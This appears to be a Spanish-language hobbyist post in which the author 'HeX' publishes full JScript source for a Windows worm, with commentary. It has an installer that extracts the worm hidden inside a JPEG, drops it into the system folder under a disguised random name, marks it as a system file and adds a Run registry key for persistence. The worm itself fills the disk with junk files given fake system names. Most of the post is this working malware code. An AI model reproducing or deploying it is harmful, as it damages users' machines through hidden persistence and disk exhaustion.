GusanoDisk Y v5.recover by HeX

Gusano Disl Y v5.recover by HeX

Código fuente y explicación

Saludos, como la mayoría de los usuarios saben un gusano es un tipo especial de virus informaticos que se duplica y crece a lo largo de los sistemas para colapsarlos, tal cual fue el caso del gusano de Robert Morris. El siguiente gusano que diseñe, opera bajo la mayoría de los Windows, fue escrito en JScript. Por lo que los OS Win con Windows Script Hosting (WSH) deben soportarlo.

Su funcionamiento es simple, consta de dos scripts, una que es el "instalador" (Y-OPEN) y otro es el gusano en sí mismo (Y-DISK). El Y-DISK es el que se encarga de crear archivos de sistemas que crecen en la carpeta WINDOWS/SYSTEM o WINDOWS/SYSTEM32, dependiendo del sistema. Estos archivos se crean con un nombre aleatorio y empiezan a crecer conforme la sesión del usuario este activa.El gusano Y-DISK se ejecuta desde la cadena RUN del registro de Windows.

Este es el primer código, Y-OPEN. El cuál puede ir como un archivo JS, WSF o inclusive como un script dentro de un documento HTML (este último puede presentar un mensaje de alerta en algunas versiones de IE, por lo que se debe tratar con cuidado).

Esta imágen contiene el gusano Esta imagen contiene el gusano


Y-OPEN

// Se declaran variables y se crean los objetos WSH y FSO. Además se corre la función 'mai'
  var ob, ws, ws2, g, g2, t, yu, ly, f, f2;
  ob = new ActiveXObject("Scripting.FileSystemObject");
  ws = WScript.CreateObject ("WScript.Shell");
  n = ob.GetSpecialFolder(1)+"\\";
  yu = ran();
  ly = n+yu+".js";
  mai();

// Esta función es la encargada de editar el registro e instalar el código en disco
function mai(){
// Se obtiene el valor de 'MenuShowDelay' si no es igual a auto se procede
  ws2 = ws.RegRead("HKCU\\Control Panel\\Desktop\\MenuShowDelay");
if (ws2 != "auto"){
// Se escriben las variables de RUN y 'MenuShowDelay' para que se corra el gusano y no se vuelva a ejecutar este script
  ws.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"+yu, ly, "REG_SZ");
  ws.RegWrite("HKCU\\Control Panel\\Desktop\\MenuShowDelay", "auto", "REG_SZ");
// Se obtiene el archivo 'girl.jpg' y se lee tan solo el código del Y-DISK
  g = ob.GetFile("girl.jpg");
  f = g.OpenAsTextStream(1, -2);
  g2 = f.ReadAll();
  g2 = g2.substring(31029, 32457);
// Se crea un archivo con la misma ruta que se indico en el registro y se escribe el gusano
  t = ob.OpenTextFile(ly, 2, true);
  t.Write(g2);
  t.Close();
// Se le otorga atributo de sistema al script del gusano
  f2 = ob.GetFile(ly);
  f2.attributes = f2.attributes + 4;
  }	
}

// Esta función regresa un nombre aleatorio para el script.
function ran(){
  rr = new Array(15);
  rr[0] ="$mstask"; rr[1] ="$command"; rr[2] ="$explorer"; rr[3] ="$alg"; rr[4] ="$logon"; rr[5] ="$ie"; rr[6] ="$icq"; rr[7] ="$win"; rr[8] ="$system"; rr[9] ="$sys"; rr[10] ="$scanreg"; rr[11] ="$yahoo"; rr[12] ="$msn"; rr[13] ="$clock"; rr[14] ="$logger"; rr[15] ="$yl";
  var irr = rr[parseInt(Math.round(Math.random()*15))];
  return (irr);
}

Este primer script, por lo tanto, tan solo instala el código original obteniendo a partir de la imágen. En este caso el archivo de la imágen de Pamela Anderson es el contenedor temporal del siguiente código.


Y-DISK

  var ob, f, f2, t, t2, n, w, ry0, ry1;
  ob = new ActiveXObject("Scripting.FileSystemObject");
  t = new Date();
  t2 = t.getHours()+t.getMinutes()+t.getSeconds();
  n = ob.GetSpecialFolder(1)+"\\";
  wrote();

function wrote(){
  ry0 = ran();
  ry1 = ran2();	
  w = n+ry0+t2+ry1;
  f = ob.OpenTextFile(w, 2, true);
  for (q = 0; q < 1000; q++){rew();}
  f.Close();
  f2 = ob.GetFile(w);
  f2.attributes = f2.attributes + 4;
}

function ran(){
rr = new Array(15);
rr[0] ="mstask."; rr[1] ="command."; rr[2] ="explorer."; rr[3] ="alg."; rr[4] ="logon."; rr[5] ="ie."; rr[6] ="leeme."; rr[7] ="win."; rr[8] ="system."; rr[9] ="sys."; rr[10] ="scanreg."; rr[11] ="icq."; rr[12] ="msn."; rr[13] ="clock."; rr[14] ="logger."; rr[15] ="yl.";
var irr = rr[parseInt(Math.round(Math.random()*15))];
return (irr);
}

function ran2(){
rr2 = new Array(15);
rr2[0] =".exe"; rr2[1] =".doc"; rr2[2] =".com"; rr2[3] =".bat"; rr2[4] =".tmp"; rr2[5] =".xls"; rr2[6] =".ini"; rr2[7] =".inf"; rr2[8] =".vxd"; rr2[9] =".dll"; rr2[10] =".htm"; rr2[11] =".cpl"; rr2[12] =".sys"; rr2[13] =".dat"; rr2[14] =".yl"; rr2[15] =".hex";
var irr2 = rr2[parseInt(Math.round(Math.random()*15))];
return (irr2);
}

function rew(){
  f.Write(":::: GusanoDisk Y v5.recover ::::");
  f.Write("Creado :: "+ t2);
  f.WriteBlankLines(90);
  for (q = 0; q < 900; q++){f.Write("GusanoDisk Y by HeX. Gracias por sus megabytes.");}
}

Estos son los códigos y explicaciones del funcionamiento de mi gusano, espero que les setía útil para algún propósito inofensivo. Espero pronto tener mejoras en su código, proyecto YL, para que se multiple por los usuarios de una red LAN, además que este disponible en otro lenguaje de programación.

Mi buzón esta abierto para cualquier sugerencia, error localizado o comentario en general, escribe a hex@engelnet.cjb.net